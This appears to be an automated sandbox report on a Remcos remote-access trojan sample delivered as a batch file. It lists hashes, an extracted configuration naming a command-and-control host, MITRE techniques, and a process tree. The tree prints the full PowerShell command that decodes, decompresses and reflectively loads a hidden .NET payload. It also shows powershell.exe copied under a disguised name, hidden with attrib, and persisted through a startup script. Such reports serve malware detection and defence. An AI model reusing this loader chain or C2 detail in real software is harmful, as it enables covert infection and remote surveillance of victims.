remcos | 12ea5712edf3120754d3f1ce995f46bf855a4eb47ed0830a574068a584fae628

Analysis

max time kernel
33s
max time network
35s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
01-12-2024 17:05

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General

Target

Vuupkzeyx.bat
Size

1.7MB
MD5

cc0e4b5bdfc8fea0703e0e1f2342c915
SHA1

d14c623ce04289e2a4024381c2e99c9ff20a84cc
SHA256

12ea5712edf3120754d3f1ce995f46bf855a4eb47ed0830a574068a584fae628
SHA512

3182d67031dbc35395adf93d6ec3dc5b6cdbcb286f87242ba2bb54090a82f80a2247a277fe6c1d050cd3ac5cb00e1330681e1a89d9887249e498cf6da351b771
SSDEEP

24576:hKvkZKBxfTCRFcjanaAKbySo1RfOIPC2ZH5yLJgQiL44e/b4fPh9y0qV5mPRswMD:svo2pJa9Ow50dmbMmCiw

Score

10^/10

remcos remotehost discovery evasion rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

24.ip.gl.ply.gg:7694

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-4QV34V
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3980 created 3660	3980	Vuupkzeyx.bat.Lau	57

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
4444	attrib.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CreationOptions.vbs	Vuupkzeyx.bat.Lau

Executes dropped EXE 1 IoCs

pid	Process
3980	Vuupkzeyx.bat.Lau

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3980 set thread context of 4468	3980	Vuupkzeyx.bat.Lau	91

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	InstallUtil.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Vuupkzeyx.bat.Lau
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4152190078-1497776152-96910572-1000_Classes\Local Settings	InstallUtil.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3980	Vuupkzeyx.bat.Lau
3980	Vuupkzeyx.bat.Lau
3980	Vuupkzeyx.bat.Lau

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3980	Vuupkzeyx.bat.Lau
Token: SeDebugPrivilege	3980	Vuupkzeyx.bat.Lau

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2608 wrote to memory of 4664	2608	cmd.exe	82
PID 2608 wrote to memory of 4664	2608	cmd.exe	82
PID 2608 wrote to memory of 2216	2608	cmd.exe	83
PID 2608 wrote to memory of 2216	2608	cmd.exe	83
PID 2608 wrote to memory of 3428	2608	cmd.exe	84
PID 2608 wrote to memory of 3428	2608	cmd.exe	84
PID 2608 wrote to memory of 4444	2608	cmd.exe	85
PID 2608 wrote to memory of 4444	2608	cmd.exe	85
PID 2608 wrote to memory of 3980	2608	cmd.exe	86
PID 2608 wrote to memory of 3980	2608	cmd.exe	86
PID 2608 wrote to memory of 3980	2608	cmd.exe	86
PID 3980 wrote to memory of 4468	3980	Vuupkzeyx.bat.Lau	91
PID 3980 wrote to memory of 4468	3980	Vuupkzeyx.bat.Lau	91
PID 3980 wrote to memory of 4468	3980	Vuupkzeyx.bat.Lau	91
PID 3980 wrote to memory of 4468	3980	Vuupkzeyx.bat.Lau	91
PID 3980 wrote to memory of 4468	3980	Vuupkzeyx.bat.Lau	91
PID 3980 wrote to memory of 4468	3980	Vuupkzeyx.bat.Lau	91
PID 3980 wrote to memory of 4468	3980	Vuupkzeyx.bat.Lau	91
PID 3980 wrote to memory of 4468	3980	Vuupkzeyx.bat.Lau	91
PID 3980 wrote to memory of 4468	3980	Vuupkzeyx.bat.Lau	91
PID 3980 wrote to memory of 4468	3980	Vuupkzeyx.bat.Lau	91
PID 4468 wrote to memory of 4228	4468	InstallUtil.exe	95
PID 4468 wrote to memory of 4228	4468	InstallUtil.exe	95
PID 4468 wrote to memory of 4228	4468	InstallUtil.exe	95

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4444	attrib.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Vuupkzeyx.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2608
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:4664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:2216
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Vuupkzeyx.bat.Lau
    3⤵
    PID:3428
- - C:\Windows\system32\attrib.exe
    attrib +s +h C:\Users\Admin\AppData\Local\Temp\Vuupkzeyx.bat.Lau
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:4444
- - C:\Users\Admin\AppData\Local\Temp\Vuupkzeyx.bat.Lau
    C:\Users\Admin\AppData\Local\Temp\Vuupkzeyx.bat.Lau -WindowStyle hidden -command "$Eshlfusgtgb = get-content 'C:\Users\Admin\AppData\Local\Temp\Vuupkzeyx.bat' | Select-Object -Last 1; $Kgebqo = [System.Convert]::FromBase64String($Eshlfusgtgb);$Gvjqxfpp = New-Object System.IO.MemoryStream( , $Kgebqo );$Cycjrzzlzy = New-Object System.IO.MemoryStream;$Bibxmqhypv = New-Object System.IO.Compression.GzipStream $Gvjqxfpp, ([IO.Compression.CompressionMode]::Decompress);$Bibxmqhypv.CopyTo( $Cycjrzzlzy );$Bibxmqhypv.Close();$Gvjqxfpp.Close();[byte[]] $Kgebqo = $Cycjrzzlzy.ToArray();[Array]::Reverse($Kgebqo); $Jiasfyokxtu = [System.Threading.Thread]::GetDomain().Load($Kgebqo); $Viwsypp = $Jiasfyokxtu.EntryPoint; $Viwsypp.DeclaringType.InvokeMember($Viwsypp.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null)| Out-Null"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Drops startup file
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3980
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4468
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fpprmuteievywcazzlefhzbbqqnq.vbs"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Vuupkzeyx.bat.Lau

Filesize
425KB

MD5
6bb54b2d7a3d63578559239a79700ea3

SHA1
bc8d22b16e9ab2045c3acfb8ff1c0ce97bd9936a

SHA256
870eda04ea71cc066ec907f005e1d05ce592f04799c60e600e2cb986dc85b5eb

SHA512
5eb2369b6d5cf615d9ef49315ef2278db7cf9a9fe2deb3c2568ff114d51dbd1a9ca4e4ab696e0bf6e2c5d9e3e2c84c706cd550824f3b45b3f7df1690503a4614

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bs2ygehy.hmp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\fpprmuteievywcazzlefhzbbqqnq.vbs

Filesize
382B

MD5
3db952c728fab3baa68a61db75d074c8

SHA1
67f61b864fe60acee701cea9cb65469395ff8f30

SHA256
b1860633c96be2e60353cf76801c6ea53df1761af69383337b297487748a044b

SHA512
a1046e6de280772b293d7f4bb1afd2729d0f435265591ed3e3861607ab8366176e3d53b1a1b628d1adaa396475d6612ea8531ee593198e9ac99d1f5d5bbecea1

Download Submit
memory/3980-1-0x00000000748EE000-0x00000000748EF000-memory.dmp

Filesize
4KB

Download
memory/3980-2-0x00000000029D0000-0x0000000002A06000-memory.dmp

Filesize
216KB

Download
memory/3980-3-0x00000000748E0000-0x0000000075091000-memory.dmp

Filesize
7.7MB

Download
memory/3980-4-0x0000000005A60000-0x000000000612A000-memory.dmp

Filesize
6.8MB

Download
memory/3980-5-0x0000000005480000-0x00000000054A2000-memory.dmp

Filesize
136KB

Download
memory/3980-11-0x0000000005520000-0x0000000005586000-memory.dmp

Filesize
408KB

Download
memory/3980-12-0x0000000005700000-0x0000000005766000-memory.dmp

Filesize
408KB

Download
memory/3980-17-0x0000000006130000-0x0000000006487000-memory.dmp

Filesize
3.3MB

Download
memory/3980-18-0x0000000005970000-0x000000000598E000-memory.dmp

Filesize
120KB

Download
memory/3980-19-0x00000000059D0000-0x0000000005A1C000-memory.dmp

Filesize
304KB

Download
memory/3980-20-0x0000000007580000-0x0000000007616000-memory.dmp

Filesize
600KB

Download
memory/3980-21-0x0000000006900000-0x000000000691A000-memory.dmp

Filesize
104KB

Download
memory/3980-22-0x0000000006950000-0x0000000006972000-memory.dmp

Filesize
136KB

Download
memory/3980-23-0x0000000007C10000-0x00000000081B6000-memory.dmp

Filesize
5.6MB

Download
memory/3980-24-0x0000000008840000-0x0000000008EBA000-memory.dmp

Filesize
6.5MB

Download
memory/3980-25-0x0000000007730000-0x000000000789A000-memory.dmp

Filesize
1.4MB

Download
memory/3980-26-0x0000000007940000-0x00000000079D2000-memory.dmp

Filesize
584KB

Download
memory/3980-27-0x0000000007910000-0x000000000791A000-memory.dmp

Filesize
40KB

Download
memory/3980-28-0x00000000748E0000-0x0000000075091000-memory.dmp

Filesize
7.7MB

Download
memory/3980-29-0x00000000081C0000-0x00000000082E8000-memory.dmp

Filesize
1.2MB

Download
memory/3980-41-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-37-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-30-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-45-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-81-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-93-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-91-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-89-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-87-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-85-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-83-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-79-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-77-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-75-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-73-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-71-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-69-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-67-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-65-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-64-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-61-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-59-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-57-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-55-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-53-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-51-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-49-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-43-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-39-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-35-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-33-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-31-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-47-0x00000000081C0000-0x00000000082E1000-memory.dmp

Filesize
1.1MB

Download
memory/3980-1206-0x00000000748E0000-0x0000000075091000-memory.dmp

Filesize
7.7MB

Download
memory/3980-1208-0x0000000007B40000-0x0000000007B8C000-memory.dmp

Filesize
304KB

Download
memory/3980-1207-0x00000000082F0000-0x0000000008388000-memory.dmp

Filesize
608KB

Download
memory/3980-1209-0x00000000083A0000-0x00000000083F4000-memory.dmp

Filesize
336KB

Download
memory/3980-1215-0x00000000748E0000-0x0000000075091000-memory.dmp

Filesize
7.7MB

Download
memory/3980-1220-0x00000000748EE000-0x00000000748EF000-memory.dmp

Filesize
4KB

Download
memory/3980-1219-0x00000000748E0000-0x0000000075091000-memory.dmp

Filesize
7.7MB

Download
memory/3980-1216-0x00000000748E0000-0x0000000075091000-memory.dmp

Filesize
7.7MB

Download
memory/3980-1224-0x00000000748E0000-0x0000000075091000-memory.dmp

Filesize
7.7MB

Download
memory/3980-1221-0x00000000748E0000-0x0000000075091000-memory.dmp

Filesize
7.7MB

Download
memory/4468-1225-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4468-1236-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4468-1249-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download